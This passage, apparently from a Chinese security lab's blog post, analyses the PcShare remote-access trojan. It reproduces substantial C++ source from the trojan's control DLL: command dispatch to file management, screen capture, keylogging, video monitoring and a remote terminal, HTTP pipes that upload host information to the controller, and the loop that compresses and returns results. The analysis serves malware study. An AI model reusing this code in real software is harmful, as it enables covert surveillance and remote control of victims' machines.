UINT m_DataLen; //数据长度
}CMDINFO,*LPCMDINFO;
由于是进行交互的套接字是阻塞的,所以当控制 dll 没有收到控制端下发的数据时,会一直阻塞在 CMyMainTrans::RecvData 函数的循环中。
当收发控制端下发的指令后,当发送文件管理命令时,被控端收到了如下指令
最终将通过 CMyMainTrans::StartClientCtrl 函数执行对应功能,其内部将创建一个单独的工作线程去执行文件管理功能。
void CMyMainTrans::StartClientCtrl(int iType)
{
//启动相应控制线程
m_WorkType = iType;
_beginthread(SSH_CtrlThread, 0, (LPVOID) this);
}
线程的回调函数中,将处理控制端对应的命令。
void CMyMainTrans::SSH_CtrlThread(LPVOID lPvoid)
{
CMyMainTrans* pThis = (CMyMainTrans*) lPvoid;
if(pThis->m_WorkType == CLIENT_FILES_START)
{
//文件管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_MANA_SEND, CONN_FILE_MANA_RECV);
}
else if(pThis->m_WorkType == CLIENT_FRAME_START)
{
//屏幕监控
CMyFrameTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_FRAM_SEND, CONN_FILE_FRAM_RECV);
}
else if(pThis->m_WorkType == CLIENT_REGEDIT_START)
{
//注册表编辑
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_REGD_SEND, CONN_FILE_REGD_RECV);
}
else if(pThis->m_WorkType == CLIENT_TLNT_START)
{
//超级终端
CMyTlntTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_TLNT_SEND, CONN_FILE_TLNT_RECV);
}
else if(pThis->m_WorkType == CLIENT_PROC_START)
{
//进程管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_PROC_SEND, CONN_FILE_PROC_RECV);
}
else if(pThis->m_WorkType == CLIENT_SERVICE_START)
{
//服务管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_SERV_SEND, CONN_FILE_SERV_RECV);
}
else if(pThis->m_WorkType == CLIENT_KEYMON_START)
{
//键盘监控
CMyKeyMonTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_KEYM_SEND, CONN_FILE_KEYM_RECV);
}
else if(pThis->m_WorkType == CLIENT_MULIT_START)
{
//视频监控
CMyMulitTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_MULT_SEND, CONN_FILE_MULT_RECV);
}
}
后续会打开对应的类函数 StartWork 进行处理,比如文件管理,会调用 CMyAdminTrans::StartWork 函数,内部首先调用 CMyHttpPipeBase::StartWork 函数连接目标服务器,创建发送接收管道。
BOOL CMyAdminTrans::StartWork(char* m_ServerAddr, int m_ServerPort, int nSend, int nRecv)
{
//连接目标服务器,创建发送接收管道
if(!CMyHttpPipeBase::StartWork(
m_ServerAddr, m_ServerPort, nSend, nRecv))
return FALSE;
//开始任务
while(1)
{
//接收命令
if(!ReadBag(m_TransData,m_dTransLen,m_Command))
break;
//处理为字串
m_TransData[m_dTransLen] = 0;
//命令处理
switch(m_Command)
{
// ...
//取磁盘列表
case CLIENT_DISK_LIST :
GetDiskList(m_TransData,m_dTransLen,m_Command);
break;
// ...
}
//发送数据
if(!SendBag(m_TransData,m_dTransLen,m_Command))
break;
}
if(m_TransData != NULL)
{
delete [] m_TransData;
m_TransData = NULL;
}
//关闭句柄
StopWork();
return TRUE;
}
在 CMyHttpPipeBase::StartWork 内部,主要是
-
创建了两个 HTTP 连接,一个用作接收控制端命令的管道,另一个用作发送执行结果数据的管道。
-
调用 HttpSendRequest 函数连接接收管道,用来等到控制端下发的指令。
-
调用 HttpSendRequestEx() 函数连接发送管道,用来回传执行结果数据。
BOOL CMyHttpPipeBase::StartWork(char* m_ServerAddr, int m_ServerPort,
int nSend, int nRecv)
{
//创建接收管道
if(!m_PipeRecv.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nRecv,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_NO_CACHE_WRITE|
INTERNET_FLAG_RELOAD))
{
StopWork();
return FALSE;
}
//连接接收管道
if(!HttpSendRequest(m_PipeRecv.hHttpFp , NULL , 0 , NULL, 0))
{
StopWork();
return FALSE;
}
//创建发送管道
if(!m_PipeSend.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nSend,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_NO_CACHE_WRITE|
INTERNET_FLAG_RELOAD))
{
StopWork();
return FALSE;
}
//连接发送管道
INTERNET_BUFFERS BufferIn = {0};
BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
BufferIn.dwBufferTotal = 1024 * 1024 * 1024 + 973741824;
if(!HttpSendRequestEx(m_PipeSend.hHttpFp,
&BufferIn,NULL,HSR_INITIATE,0))
{
StopWork();
return FALSE;
}
return TRUE;
}
其中 CMyHttpBase::ConnectHttpServer 函数是与控制端建立 HTTP 连接,它和第二阶段的连接服务器不同的是,它上传的主机信息是通过 POST 方式上传的。
BOOL CMyHttpBase::ConnectHttpServer(char* m_ServerAddr ,
int m_ServerPort,
int nCmd, DWORD nStyle)
{
//中断上次连接
StopWork();
//检查数据有效性
if(strlen(m_ServerAddr) == 0
|| m_ServerPort == 0)
return FALSE;
//初始化HTTP环境
hHttpIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hHttpIe) return FALSE;
//填充主机地址
hHttpHc = InternetConnect(hHttpIe,
m_ServerAddr , m_ServerPort , NULL,
NULL , INTERNET_SERVICE_HTTP,0,0);
if(!hHttpHc)
{
StopWork();
return FALSE;
}
//填充上送当前客户信息
char m_Url[4096] = {0};
char m_ExternData[2048] = {0};
GetMySysInfo(m_ExternData);
sprintf(m_Url,"%d%s",nCmd,m_ExternData);
hHttpFp = HttpOpenRequest(hHttpHc,
"POST",m_Url,NULL,NULL,NULL,nStyle,NULL);
if(!hHttpFp)
{
StopWork();
return FALSE;
}
DWORD m_TimeOut = 24 * 3600 * 1000;
if(!InternetSetOption(hHttpFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
StopWork();
return FALSE;
}
return TRUE;
}
一旦与控制端成功建立连接后,控制 dll 将调用 ReadBag 函数用于接收控制端下发指令。
BOOL CMyAdminTrans::ReadBag(char* Data, DWORD& Len,UINT &m_Command)
{
//接收命令
if(!RecvData((char*) &m_Command, sizeof(UINT)))
return FALSE;
//接收长度
if(!RecvData((char*) &Len, sizeof(DWORD)))
return FALSE;
TRACE("ReadBag : Len = %d,m_Command = %dn",Len,m_Command);
//查看数据长度
if(Len <= 0) return TRUE;
//接收数据
if(!RecvData(Data, Len)) return FALSE;
return TRUE;
}
其中接收的消息格式为:
struct
{
UINT Command; // 4
DWORD len; // 4 数据长度
char* data; // 业务数据,长度为 len
}
如果是控制端下发的命令,那么,数据长度为0。
之后根据接收到的命令类型,进行不同处理,测试中为打开文件管理功能
将会根据这个命令进行具体处理,处理完毕后,将使用 MakeCompressData 对结果进行压缩。
void CMyAdminTrans::MakeCompressData(char *m_TransData,DWORD &len)
{
DWORD m_SrcLen = len;
BYTE *pSrcData = new BYTE[m_SrcLen];
memcpy(pSrcData,m_TransData,m_SrcLen);
len = T_DATALEN;
compress((LPBYTE) m_TransData,&len,pSrcData,m_SrcLen);
delete [] pSrcData;
}
随后将调用 CMyAdminTrans::SendBag 函数将压缩后的数据回传,该函数发送的步骤就是
* 先发送消息头(命令+包体长度);
* 在发送具体命令对应的内容。
BOOL CMyAdminTrans::SendBag(char* Data, DWORD &Len,UINT &m_Command)
{
//发送命令
if(!SendData((char*) &m_Command, sizeof(UINT)))
return FALSE;
//发送长度
if(!SendData((char*) &Len, sizeof(DWORD)))
return FALSE;
//查看数据长度
if(Len <= 0) return TRUE;
//发送数据
if(!SendData(Data, Len)) return FALSE;
return TRUE;
}
到此,控制 dll 处理控制端下发的指令并返回执行命令的结果分析完毕。
丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
原文始发于微信公众号(蛇矛实验室):安全开发之Pcshare流程分析